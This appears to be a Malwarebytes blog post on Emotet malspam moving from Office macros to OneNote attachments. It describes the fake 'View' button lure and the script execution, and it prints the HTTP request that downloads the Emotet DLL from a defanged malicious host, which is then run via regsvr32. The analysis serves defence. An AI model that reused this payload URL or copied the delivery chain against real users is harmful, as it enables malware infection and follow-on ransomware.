Last week, Emotet returned after a three month absence when the botnet Epoch 4 started sending out malicious emails with malicious Office macros. While the extracted attachments were inflated to several hundred megabytes, it was surprising to see that Emotet persisted in using the same attack format.
Indeed, Microsoft has been rolling out its initiative of auto-blocking macros from downloaded documents since last summer. This has forced criminals to revisit how they want to deliver malware via malspam. One noticeable change was the use of Microsoft OneNote documents by several other criminal gangs. Now, it is Emotet's turn to follow along.
The OneNote file is simple but yet effective at social engineering users with a fake notification stating that the document is protected. When instructed to double-click on the View button, victims will inadvertently double-click on an embedded script file instead.
This triggers Windows scripting engine (wscript.exe) to execute the following command:
The heavily obfuscated script retrieves the Emotet binary payload from a remote site
GET https://penshorn[.]org/admin/Ses8712iGR8du/ HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: penshorn.org
The file is saved as a DLL and executed via regsvr32.exe:
Once installed on the system, Emotet will then communicate with its command and control servers to receive further instructions.
As Emotet ramps up its malspam distribution, users should be particularly careful of this threat which we featured in our 2023 State of Malware Report, as it serves as an entry point for other threat actors keen on dropping ransomware.
Malwarebytes customers are protected against this threat at several layers within its attack chain including web protection, malware blocking. Our EDR product also flags the whole sequence:
Although Emotet has had vacations, retirements and even been taken down by authorities before, it continues to be a serious threat and highlights how social engineering attacks are so effective. While macros may soon be a thing of the past, we can see that threat actors can leverage a variety of popular business applications to achieve their end goal of gaining a foothold onto enterprise networks.
We will continue to monitor any new developments with Emotet to ensure our customers remain protected.
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